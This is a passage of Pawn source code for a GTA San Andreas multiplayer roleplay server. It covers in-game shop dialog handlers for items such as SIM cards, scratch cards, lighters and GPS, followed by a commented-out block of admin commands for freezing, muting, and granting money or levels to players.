		PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
		new rand = RandomShomare(9370000,9379999);
		SetPlayerNumber(playerid,INVALID_PLAYER_ID,rand);
		format(string, sizeof(string), "** MTN SIM card purchased. Your new number is: %s",FormatPhoneNumber(rand));
		SendMessage(playerid, COLOR_GRAD4, string);
		PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
		return 1;
		}
		if(listitem == 3) {
		new payout = 10;
		format(string, sizeof(string), "~r~-$%d", payout);
		GameTextForPlayer(playerid, string, 5000, 1);
		GivePlayerPool(playerid,- payout);
		BizzInfo[TooBiz[playerid]][bTill] += payout;
		PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
		new rand = RandomShomare(9380000,9389999);
		SetPlayerNumber(playerid,INVALID_PLAYER_ID,rand);
		format(string, sizeof(string), "** MTN SIM card purchased. Your new number is: %s",FormatPhoneNumber(rand));
		SendMessage(playerid, COLOR_GRAD4, string);
		PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
		return 1;
		}
		if(listitem == 1) {

		}
		}
		else {}
		}
	   if(dialogid == 259)
	   {
		  if(response)
		  {
			 if(listitem == 0)
			 {
				if(GetPlayerPool(playerid) < 50)
				{
				SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
				return 1;
				}
				new payout = 50;
				format(string, sizeof(string), "~r~-$%d", payout);
				GameTextForPlayer(playerid, string, 5000, 1);
				GivePlayerPool(playerid,- payout);
				BizzInfo[TooBiz[playerid]][bTill] += payout;
				PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
				//new rand = RandomShomare(1000000,9999999);
				//SetPlayerNumber(playerid,INVALID_PLAYER_ID,rand);
				format(string, sizeof(string), "** Mobile Phone Purchased.");
				SendMessage(playerid, COLOR_GRAD4, string);
				PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
				SendMessage(playerid, COLOR_GRAD5, "You can buy SIM card from phone shop.");
				SendMessage(playerid, COL_SYN, "Syntax: You can now type /help to see your cell phone commands.");
			 }
			 if(listitem == 1)
			 {
			 if(GetPlayerPool(playerid) < 5)
			 {
			 SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
			 return 1;
			 }
					new payout = 5;
					GivePlayerPool(playerid,- payout);
					BizzInfo[TooBiz[playerid]][bTill] += payout;
					format(string, sizeof(string), "~r~-$%d", payout);
					GameTextForPlayer(playerid, string, 5000, 1);
				PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
				new prize;
				new symb1[32]; new symb2[32]; new symb3[32];
				new randcard1 = random(10);//minimum 1000  max 9999
				new randcard2 = random(10);//minimum 1000  max 9999
				new randcard3 = random(10);//minimum 1000  max 9999
				if(randcard1 >= 5)
				{
					format(symb1, sizeof(symb1), "~b~]");
					randcard1 = 1;
				}
				else if(randcard1 <= 4 && randcard1 >= 2)
				{
					format(symb1, sizeof(symb1), "~g~]");
					randcard1 = 2;
				}
				else if(randcard1 < 2)
				{
					format(symb1, sizeof(symb1), "~y~]");
					randcard1 = 3;
				}
				if(randcard2 >= 5)
				{
					format(symb2, sizeof(symb2), "~b~]");
					randcard2 = 1;
				}
				else if(randcard2 <= 4 && randcard2 >= 2)
				{
					format(symb2, sizeof(symb2), "~g~]");
					randcard2 = 2;
				}
				else if(randcard2 < 2)
				{
					format(symb2, sizeof(symb2), "~y~]");
					randcard2 = 3;
				}
				if(randcard3 >= 5)
				{
					format(symb3, sizeof(symb3), "~b~]");
					randcard3 = 1;
				}
				else if(randcard3 <= 4 && randcard3 >= 2)
				{
					format(symb3, sizeof(symb3), "~g~]");
					randcard3 = 2;
				}
				else if(randcard3 < 2)
				{
					format(symb3, sizeof(symb3), "~y~]");
					randcard3 = 3;
				}
				if(randcard1 == randcard2 && randcard1 == randcard3)
				{
					if(randcard1 > 5)
					{
					   prize = 4;
					}
					if(randcard1 <= 4 && randcard1 >= 2)
					{
					   prize = 3;
					}
					if(randcard1 < 2)
					{
					   prize = 2;
					}
					GivePlayerPool(playerid,prize);
					BizzInfo[TooBiz[playerid]][bTill] -= prize;
					PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
					format(string, sizeof(string), "%s %s %s ~n~~n~~w~~g~$%d",symb1,symb2,symb3, prize);
				}
				else
				{
					format(string, sizeof(string), "%s %s %s ~n~~n~~w~~r~$0",symb1,symb2,symb3);
				}
				GameTextForPlayer(playerid, string, 3000, 3);
				return 1;
			 }
			 if(listitem == 2)
			 {
			 if(GetPlayerPool(playerid) < 1)
			 {
			 SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
			 return 1;
			 }
					new payout = 1;
					GivePlayerPool(playerid,- payout);
					BizzInfo[TooBiz[playerid]][bTill] += payout;
					GameTextForPlayer(playerid, "~r~-$1", 5000, 1);
				PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
				PlayerInfo[playerid][pPhoneBook] = 1;
				SaveKonVal(playerid, "pPhoneBook", 1);
				PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
				format(string, sizeof(string), "** Phone Book Purchased you can look up any Players' Number !");
				SendMessage(playerid, COLOR_GRAD4, string);
				SendMessage(playerid, COL_SYN, "Syntax: /number <Playerid/PartOfName>");
				return 1;
			 }
			 if(listitem == 3)
			 {
			 if(GetPlayerPool(playerid) < 1)
			 {
			 SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
			 return 1;
			 }
					new payout = 1;
					GivePlayerPool(playerid,- payout);
					BizzInfo[TooBiz[playerid]][bTill] += payout;
					format(string, sizeof(string), "~r~-$%d", payout);
					GameTextForPlayer(playerid, string, 5000, 1);
				PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
				gDice[playerid] = 1;
				PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
				format(string, sizeof(string), "** Dice Purchased you can throw your Dice.");
				SendMessage(playerid, COLOR_GRAD4, string);
				SendMessage(playerid, COL_SYN, "Syntax: /dice");
				return 1;
			 }
			 if(listitem == 4)
			 {
			 if(GetPlayerPool(playerid) < 75)
			 {
			 SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
			 return 1;
			 }
				PlayerInfo[playerid][pCanistra] = 20;
				SaveKonVal(playerid, "pCanistra", 20);
				PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
				GivePlayerPool(playerid, -75);
				BizzInfo[TooBiz[playerid]][bTill] += 75;
				PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
				SendMessage(playerid, COL_SYN, "Syntax: /fillcar");
				GameTextForPlayer(playerid, "~r~-$75", 5000, 1);
				return 1;
			 }

			 if(listitem == 5)
			 {
			 if(GetPlayerPool(playerid) < 25)
			 {
			 SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
			 return 1;
			 }
				GivePlayerPool(playerid, - 25);
				format(string, sizeof(string), "~r~-$%d", 25);
				GameTextForPlayer(playerid, string, 5000, 1);
				PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
				BizzInfo[TooBiz[playerid]][bTill] += 25;
				PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
				format(string, sizeof(string), "Camera Purchased.");
				SendMessage(playerid, COLOR_GRAD4, string);
				GivePlayerKolang(playerid, 43, 20);
				return 1;
			 }
			 if(listitem == 6)
			 {
			 if(GetPlayerPool(playerid) < 1)
			 {
			 SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
			 return 1;
			 }
				if(PlayerInfo[playerid][pLighter] != 0)
				{
					SendMessage(playerid, COLOR_GREY, "** You already have a lighter ! ");
					return 1;
				}
				GivePlayerPool(playerid, - 1);
				PlayerInfo[playerid][pLighter] = 30;
				SaveKonVal(playerid, "pLighter", 30);
				PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
				BizzInfo[TooBiz[playerid]][bTill] += 1;
				PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
				format(string, sizeof(string), "~r~-$%d", 1);
				GameTextForPlayer(playerid, string, 5000, 1);
				SendMessage(playerid, COLOR_GRAD4, "** Lighter Purchased.");
				//SaveAccount(playerid);
				return 1;
			 }
			 if(listitem == 7)
			 {
			 if(GetPlayerPool(playerid) < 1)
			 {
			 SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
			 return 1;
			 }
				if(PlayerInfo[playerid][pCigarettes] != 0)
				{
					format(string, sizeof(string), "** You already have %d cigarettes left .", PlayerInfo[playerid][pCigarettes]);
					SendMessage(playerid, COLOR_GREY, string);
					return 1;
				}
				GivePlayerPool(playerid, - 1);
				PlayerInfo[playerid][pCigarettes] = 20;
				SaveKonVal(playerid, "pCigarettes", 20);
				PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
				format(string, sizeof(string), "~r~-$1");
				BizzInfo[TooBiz[playerid]][bTill] += 1;
				PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
				GameTextForPlayer(playerid, string, 5000, 1);
				SendMessage(playerid, COLOR_GRAD4, "Cigarettes Purchased.");
				SendMessage(playerid, COL_SYN, "HINT: You can /smoke now");
				//SaveAccount(playerid);
			 }
			 if(listitem == 8)
			 {
			 if(GetPlayerPool(playerid) < 5)
			 {
			 SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
			 return 1;
			 }
				PINFO[playerid][pWalkieTalkie] = 1;
				SaveKonVal(playerid, "pWalkieTalkie", 1);
				PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
				GivePlayerPool(playerid, -5);
				BizzInfo[TooBiz[playerid]][bTill] += 5;
				PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
				SendMessage(playerid, COL_SYN, "Syntax: /wthelp");
				GameTextForPlayer(playerid, "~r~-$5", 5000, 1);
				return 1;
			 }
				if(listitem == 9)
			 {
			 if(GetPlayerPool(playerid) < 200)
			 {
			 SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
			 return 1;
			 }
				ShowPlayerDialog(playerid,20016,DIALOG_STYLE_LIST,"Choose what do you want to buy:","$200\n$500\n$1000","Buy","Cancel");
				return 1;
			 }
				if(listitem == 10)
			 {
			 if(GetPlayerPool(playerid) < 500)
			 {
			 SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
			 return 1;
			 }
					PlayerInfo[playerid][pGPS] = 200;
				    SaveKonVal(playerid, "pGPS", PINFO[playerid][pGPS]);
				new payout = 500;
				format(string, sizeof(string), "~r~-$%d", payout);
				GameTextForPlayer(playerid, string, 5000, 1);
				GivePlayerPool(playerid,- payout);
				SCM(playerid, COL_SYN, "Syntax: /gps");
				SCM(playerid, COLOR_YELLOW, "You can use it about 200 times");
				return 1;
			 }
			 if(listitem == 11)
			 {
			 if(GetPlayerPool(playerid) < 10000)
			 {
			 SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
			 return 1;
			 }
			 if(PINFO[playerid][pJob] != 23)
			 {
			 SCM(playerid,COLOR_LIGHTRED,"Error: You can't buy sickle because you are not a liquor dealer.");
			 return 1;
			 }
				PlayerInfo[playerid][pCard] = 100;
				SaveKonVal(playerid, "pCard", PINFO[playerid][pCard]);
				new payout = 10000;
				format(string, sizeof(string), "~r~-$%s", FormatNumber(payout));
				GameTextForPlayer(playerid, string, 5000, 1);
				GivePlayerPool(playerid,- payout);
				SCM(playerid, COL_SYN, "Syntax: /mow");
				SCM(playerid, COLOR_YELLOW, "You can use it about 100 times");
				return 1;
			 }
	   }
	}
	if(dialogid == 9968) {
	if(response) {
	LoopingAnim(playerid, "CARRY","null",0,0,0,0,0,0);
	LoopingAnim(playerid, "SKATE","null",0,0,0,0,0,0);
	LoopingAnim(playerid, "CARRY","crry_prtial",4.0,0,0,0,0,0);
	SetPlayerArmedWeapon(playerid,0);
	if(listitem == 0) {
	 if(!InfoSkate[playerid][sActive]){
						if(IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COLOR_SINA3, "You are in a vehicle.");
					InfoSkate[playerid][sActive] = true;
					DestroyObject(InfoSkate[playerid][sSkate]);
					RemovePlayerAttachedObject(playerid,INDEX_SKATE);
					#if TYPE_SKATE == 0
					// the skate is placed on the right arm
					SetPlayerAttachedObject(playerid,INDEX_SKATE,19878,6,-0.055999,0.013000,0.000000,-84.099983,0.000000,-106.099998,1.000000,1.000000,1.000000);
					#else
					// the skate is placed in the back
					SetPlayerAttachedObject(playerid,INDEX_SKATE,19878,1,0.055999,-0.173999,-0.007000,-95.999893,-1.600010,24.099992,1.000000,1.000000,1.000000);
					#endif
					PlayerPlaySound(playerid,21000,0,0,0);
					SendClientMessage(playerid,COLOR_YELLOW,"Skateboard added to you.");
						SendClientMessage(playerid,COLOR_YELLOW,"Click on right mouse button (RMB) to run.");
	}
	else return SCM(playerid, COLOR_SINA3, "You already have a skateboard.");
	}
	else {
						InfoSkate[playerid][sActive] = false;
						DestroyObject(InfoSkate[playerid][sSkate]);
						RemovePlayerAttachedObject(playerid,INDEX_SKATE);
						PlayerPlaySound(playerid,21000,0,0,0);
						SendClientMessage(playerid,COLOR_YELLOW,"Skateboard removed from you.");
	}
	}
	else {}
	return 1;
	}

	if(dialogid == 20016) {
	if(response) {
	if(listitem == 0) {
	if(GetPlayerPool(playerid) < 200) return SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
	PINFO[playerid][pCharge] += 200;
	SaveKonVal(playerid, "pCharge", PINFO[playerid][pCharge]);
	PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
	GivePlayerPool(playerid, -200);
	BizzInfo[TooBiz[playerid]][bTill] += 200;
	GameTextForPlayer(playerid, "~r~-$200", 5000, 1);
	return 1;
	}
	if(listitem == 1) {
	if(GetPlayerPool(playerid) < 500) return SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
	PINFO[playerid][pCharge] += 500;
	SaveKonVal(playerid, "pCharge", PINFO[playerid][pCharge]);
	PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
	GivePlayerPool(playerid, -500);
	BizzInfo[TooBiz[playerid]][bTill] += 500;
	GameTextForPlayer(playerid, "~r~-$500", 5000, 1);
	return 1;
	}
	if(listitem == 2) {
	if(GetPlayerPool(playerid) < 1000) return SCM(playerid,COLOR_LIGHTRED,"You haven't cash for that.");
	PINFO[playerid][pCharge] += 1000;
	SaveKonVal(playerid, "pCharge", PINFO[playerid][pCharge]);
	PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
	GivePlayerPool(playerid, -1000);
	BizzInfo[TooBiz[playerid]][bTill] += 1000;
	GameTextForPlayer(playerid, "~r~-$1000", 5000, 1);
	return 1;
	}
	}
	else {

	}
	}
	return 1;
}
forward unft(playerid);
public unft(playerid) {
TogglePlayerControllable(playerid, 1);
}
forward uncheatpiz(playerid);
public uncheatpiz(playerid) {
CheatPiz[playerid] = 0;
}

//==============================================
stock GetVehicleColorX(vehicleID, &color1, &color2)
{
	   vehicleID = PROPERTY_OFFSET(vehicleID);

	   if(existproperty(_, "", vehicleID))
	   {
			 new
					colorStr[24],
					strPos
			 ;
			 getproperty(_, "", vehicleID, colorStr);
			 strunpack(colorStr, colorStr);

			 if((strPos = strfind(colorStr, "-")) != -1)
			 {
					color1 = strval(colorStr);
					color2 = strval(colorStr[strPos + 1]);
					return 1;
			 }
	   }
	   return 0;
}
	/*
	new sendername[40];
	CMD:unfreezeall(playerid,params[])
	{
	   if(PINFO[playerid][pAdmin] < 2) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");

	   new Float:dis;
		if(sscanf(params,"f",dis)) return SCM(playerid, COL_SYN, "Syntax: /unfreezeall <Distance(FLOAT)>");
	   if(dis > 0.0)
	   {
		  new lolstr[150];
		  format(lolstr, 150, "Admin %s has been unfrozen all players.", PINFO[playerid][pName]);
		  for(new i = 0;i<Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && i != playerid && PINFO[i][pAdmin] < 1)
			 {
				if(ProxDetectorS(dis, playerid, i))
				{
					TogglePlayerControllable(i, 1);
					SCM(i, COLOR_LIGHTRED, lolstr);
			OnFreeze[i] = 0;
				}
			 }
		  }
		  format(lolstr, 150, "{FFFFFF}%s has been unfrozen all players in %.2f distance", PINFO[playerid][pName], dis);
		  AdminWarn(lolstr);
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid Distance amount.");
	   return 1;
	}
			CMD:freezeall(playerid,params[]) {
			if(PINFO[playerid][pAdmin] < 2) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			new Float:dis;
			if(sscanf(params, "f",dis)) return SCM(playerid, COL_SYN, "Syntax: /freezeall <Distance(FLOAT)>");

			if(dis > 0.0)
			{
				new lolstr[150];
				format(lolstr, 150, "Admin %s has been frozen all players.", PINFO[playerid][pName]);
				for(new i = 0;i<Akharish;i++)
				{
					if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && i != playerid && PINFO[i][pAdmin] < 1)
					{
						if(ProxDetectorS(dis, playerid, i))
						{
							TogglePlayerControllable(i, 0);
							SCM(i, COLOR_LIGHTRED, lolstr);
				OnFreeze[i] = 1;
						}
					}
				}
				format(lolstr, 150, "{FFFFFF}%s has been frozen all players in %.2f distance", PINFO[playerid][pName], dis);
				AdminWarn(lolstr);
			}
			else return SCM(playerid, COLOR_SINA3, "Invalid Distance amount.");
			return 1;
		}
		CMD:respectforall(playerid,params[])
		{
			if(PINFO[playerid][pAdmin] < 8) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			new rpam;
			if(sscanf(params, "i",rpam)) return SCM(playerid, COL_SYN, "Syntax: /respectforall <Amount>");

			if(rpam > 0)
			{
				new lolstr[256];
				format(lolstr, 256, "Admin %s has given %i respect points to all online players.", PINFO[playerid][pName], rpam);
				for(new i = 0;i < Akharish;i++)
				{
					if(IsPlayerConnected(i) && gPlayerLogged[i] != 0)
					{
						PINFO[i][pExp] += rpam;
						SaveKonVal(i, "pExp", PINFO[i][pExp]);
					}
				}
				SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
			}
			else return SCM(playerid, COLOR_SINA3, "Invalid Respect point.");
			return 1;
		}

		CMD:stopmlr(playerid,params[]) {
		if(IsPlayerConnected(playerid)) {
		if(PlayerInfo[playerid][pAdmin] <= 7)
		{
		SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		return 1;
		}
	   if(MLR == 0) return SCM(playerid, COLOR_YELLOW2, "Error: MLR system already disabled.");
		GetPlayerName(playerid, sendername, sizeof(sendername));
		new str[512];
		format(str, sizeof(str), "{FFFFFF}Admin %s disabled MLR system.", sendername);
		AdminWarn(str);
		MLR = 0;
		MMLR = 0;
		RMLR = 0;
		LMLR = 0;
		PMLR = 0;
		}

		return 1;
		}

		  CMD:mlr(playerid,params[]) {
		  if(PlayerInfo[playerid][pAdmin] <= 7)
		  {
		   SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		  return 1;
		  }
		  if(MLR == 1) return SCM(playerid, COLOR_YELLOW2, "Error: MLR system already enabled. use /stopmlr");
		  new Money;
		  new Level;
		  new Respect;
		  new Players;
		  if(sscanf(params,"iiii",Money,Level,Respect,Players)) return SCM(playerid, COL_SYN, "Syntax: /mlr [Money] [Level] [Respect] [Players]");

				if(Players < 0) return SCM(playerid, COLOR_RED, "invalid value");
				if(Money < 0) return SCM(playerid, COLOR_RED, "invalid value");
				if(Level < 0) return SCM(playerid, COLOR_RED, "invalid value");
				if(Respect < 0) return SCM(playerid, COLOR_RED, "invalid value");
				new lolstr[200];
				format(lolstr, 200, "When the server reaches %d players, you will receive $%s and %d Respect Points and %d Level.", Players, FormatNumber(Money), Respect, Level);
				SendClientMessageToAll(COLOR_LIGHTBLUE, lolstr);
				MLR = 1;
				MMLR = Money;
				RMLR = Respect;
				LMLR = Level;
				PMLR = Players;
				SetTimer("CheckPlayers", 5000, 0);
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s enabled MLR system.", sendername);
				AdminWarn(str);
				return 1;
		  }

		CMD:moneyall(playerid,params[]) {
		  if(PlayerInfo[playerid][pAdmin] <= 7)
		  {
		   SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		  return 1;
		  }
		  new Min;
		  new Max;
		  new Value;
		  if(sscanf(params,"iii",Min,Max,Value)) return SCM(playerid, COL_SYN, "Syntax: /moneyall [Minium Level] [Maximun Level] [Money]");
				if(Value < 0) return SCM(playerid, COLOR_RED, "invalid value");
				new lolstr[256];
				format(lolstr, 256, "Admin %s has given $%s to all online players (Lvl%d-%d).", PINFO[playerid][pName], FormatNumber(Value), Min, Max);
				for(new i = 0;i < Akharish;i++)
				{
					if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && PlayerInfo[i][pLevel] >= Min && PlayerInfo[i][pLevel] <= Max)
					{
						GivePlayerPool(i, Value);
					}
				}
				SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
		  return 1;
		  }
		CMD:respectall(playerid,params[]) {
		  if(PlayerInfo[playerid][pAdmin] <= 7)
		  {
		   SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		  return 1;
		  }
		  new Min;
		  new Max;
		  new Value;
		  if(sscanf(params,"iii",Min,Max,Value)) return SCM(playerid, COL_SYN, "Syntax: /respectall [Minimum Level] [Maximum Level] [Respect]");
				if(Value < 0) return SCM(playerid, COLOR_RED, "invalid value");
				new lolstr[200];
				format(lolstr, 200, "Admin %s has given %i respect points to all online players level %d-%d.", PINFO[playerid][pName], Value, Min, Max);
				for(new i = 0;i < Akharish;i++)
				{
					if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && PlayerInfo[i][pLevel] >= Min && PlayerInfo[i][pLevel] <= Max)
					{
						PINFO[i][pExp] += Value;
						SaveKonVal(i, "pExp", PINFO[i][pExp]);
					}
				}
				SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
		  return 1;
		  }
		CMD:levelall(playerid,params[]) {
		  if(PlayerInfo[playerid][pAdmin] <= 7)
		  {
		  SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		  return 1;
		  }
		  new Min;
		  new Max;
		  new Value;
		  if(sscanf(params,"iii",Min,Max,Value)) return SCM(playerid, COL_SYN, "Syntax: /levelall [Minimum Level] [Maximum Level] [Level]");
				if(Value < 0) return SCM(playerid, COLOR_RED, "invalid value");
				new lolstr[200];
				format(lolstr, 200, "Admin %s has given %i level(s) to all online players level %d-%d.", PINFO[playerid][pName], Value, Min, Max);
				for(new i = 0;i < Akharish;i++)
				{
					if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && PlayerInfo[i][pLevel] >= Min && PlayerInfo[i][pLevel] <= Max)
					{
						PINFO[i][pLevel] += Value;
						SaveKonVal(i, "pLevel", PINFO[i][pLevel]);
					}
				}
				SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
		  return 1;
		  }
		CMD:moneyforall(playerid,params[]) {
			if(PINFO[playerid][pAdmin] < 8) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			new rpam;
			if(sscanf(params,"i",rpam)) return SCM(playerid, COL_SYN, "Syntax: /moneyall <Amount>");
			if(rpam > 0)
			{
				new lolstr[200];
				format(lolstr, 200, "Admin %s has given $%s to all online players.", PINFO[playerid][pName], FormatNumber(rpam));
				for(new i = 0;i < Akharish;i++)
				{
					if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
					{
						GivePlayerPool(i, rpam);
					}
				}
				SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
			}
			else return SCM(playerid, COLOR_SINA3, "Invalid Respect point.");
			return 1;
		}
		CMD:setdays(playerid,params[]) {
		if(PINFO[playerid][pAdmin] < 8) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		new users[146];
		new days;
		if(sscanf(params,"si",users,days)) return SCM(playerid, COL_SYN, "Syntax: /setdays <Playerid/PartOfName> <Days>");
		new user = ReturnUser6(users);
		if(!IsPlayerConnected(user)) return SCM(playerid, COLOR_SINA3, "That player is not connected.");
		if(PINFO[user][pSoldier] == 0) return SCM(playerid, COLOR_SINA3, "That player is not soldier.");
		if(days < 0) return SCM(playerid, COLOR_SINA3, "Invalid days.");
		if(days == 0) {
		PINFO[user][pCard] = 0;
		SaveKonVal(user, "pCard", 0);
		}
		PINFO[user][pSoldier] = days;
		SaveKonVal(user, "pSoldier", days);

		new string[512];
		format(string, sizeof(string), "{FFFFFF}Admin %s sets soldiery days of the %s to %d.",PINFO[playerid][pName],PINFO[user][pName],days);
		AdminWarn(string);
		format(string, sizeof(string), "{FFFFFF}Admin %s sets your soldiery days to %d.",PINFO[playerid][pName],days);
		SCM(user, COLOR_WHITE, string);
		return 1;
		}
		CMD:muteall(playerid,params[]) {
			if(PINFO[playerid][pAdmin] < 8) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			new Float:dis;
			new rpam;
			if(sscanf(params,"fi"),dis,rpam) return SCM(playerid, COL_SYN, "Syntax: /mute <Distance(FLOAT)> <Time(minutes)>");
			if(rpam > 0)
			{
				if(dis > 0.0)
				{
					new lolstr[200];
					format(lolstr, 200, "Admin %s has mute all players online for %d minutes.", PINFO[playerid][pName], rpam);
					for(new i = 0;i < Akharish;i++)
					{
						if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && ProxDetectorS(dis, playerid, i))
						{
							PlayerInfo[i][pMuteTime] = rpam*60;
							SaveKonVal(i, "pMuteTime", PINFO[i][pMuteTime]);


							SCM(i, COLOR_LIGHTRED, lolstr);
							SendMessage(i, COLOR_LIGHTRED, "you can type /mymute to see you're mute time");

						}
					}
					format(lolstr, 200, "{FFFFFF}%s has mute all players for %d minutes in %.2f distance.", PINFO[playerid][pName], rpam, dis);
					AdminWarn(lolstr);
				}
				else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
			}
			else return SCM(playerid, COLOR_SINA3, "Invalid time.");
			return 1;
		}
		CMD:sethpall(playerid,params[]) {
			if(PINFO[playerid][pAdmin] < 5) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			new Float:dis;
			new Float:rpam;
			if(sscanf(params,"ff",dis,rpam)) return SCM(playerid, COL_SYN, "Syntax: /sethpall <Distance(FLOAT)> <Amount(FLOAT)>");
			if(rpam > 0.0)
			{
				if(dis > 0.0)
				{
					new lolstr[200];
					format(lolstr, 200, "Admin %s has set all players online health to %.2f.", PINFO[playerid][pName], rpam);
					for(new i = 0;i < Akharish;i++)
					{
						if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && ProxDetectorS(dis, playerid, i))
						{
							SetPlayerKoon(true, i, rpam);
							SCM(i, COLOR_LIGHTRED, lolstr);
						}
					}
					format(lolstr, 200, "{FFFFFF}%s has set all players hp to %.2f in %.2f distance.", PINFO[playerid][pName], rpam, dis);
					AdminWarn(lolstr);
				}
				else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
			}
			else return SCM(playerid, COLOR_SINA3, "Invalid hp.");
			return 1;
		}

		CMD:friends(playerid,params[]) {
		if(IsPlayerConnected(playerid))
		{
		BegirFriends(playerid);
		}
		return 1;
		}
		CMD:fr(playerid,params[]) {
		return cmd_friends(playerid,params);
		}
		 CMD:stopwar(playerid,params[]) {
			if(PINFO[playerid][pAdmin] < 7) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			new turfid;
			if(sscanf(params,"i",turfid)) return SCM(playerid, COL_SYN, "Syntax: /stopwar <TurfID>");
			for(new i=0;i<Akharish;i++) {
			if(OnWar[i] == turfid) {
			OnWar[i] = 9999;

			TextDrawHideForPlayer(i, WarBox);
			TextDrawHideForPlayer(i, WarA[OnWar[i]]);
			TextDrawHideForPlayer(i, WarVS);
			TextDrawHideForPlayer(i, WarD[OnWar[i]]);
			PlayerTextDrawHide(i, WarK);
			PlayerTextDrawHide(i, WarDea);
			PlayerTextDrawHide(i, WarS);
			//PlayerTextDrawHide(i, WarT);
			TextDrawHideForPlayer(i, WarTR[OnWar[i]]);
			}
			}
			killsattackerturf[turfid] = 0;
			deathsattackerturf[turfid] = 0;
			killskhodturf[turfid] = 0;
			deathskhodturf[turfid] = 0;

			scoreattacker[turfid] = 0;
			scorekhod[turfid] = 0;
			turfattacker[turfid] = 9999;
			turfkhod[turfid] = 9999;
			TurfTime[turfid] = 0;
			TurfReload[turfid] = 0;

			new string[512];
			format(string, sizeof(string), "{FFFFFF}War on turfid %d has been stopped by admin %s.",turfid,PINFO[playerid][pName]);
			AdminWarn(string);
			return 1;
		}
		 CMD:setwar(playerid,params[]) {
			if(PINFO[playerid][pAdmin] < 7) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			new disx[146];
			new rpam;
			if(sscanf(params,"si",disx,rpam)) return SCM(playerid, COL_SYN, "Syntax: /setwar <Playerid/PartOfName> <TurfID>");
			new dis = ReturnUser6(disx);
			OnWar[dis] = rpam;
			new str[128];
			format(str, sizeof(str), "OnWar: %i", OnWar[dis]);
			SendMessage(playerid, COLOR_RED, str);

			TextDrawHideForPlayer(dis, WarBox);
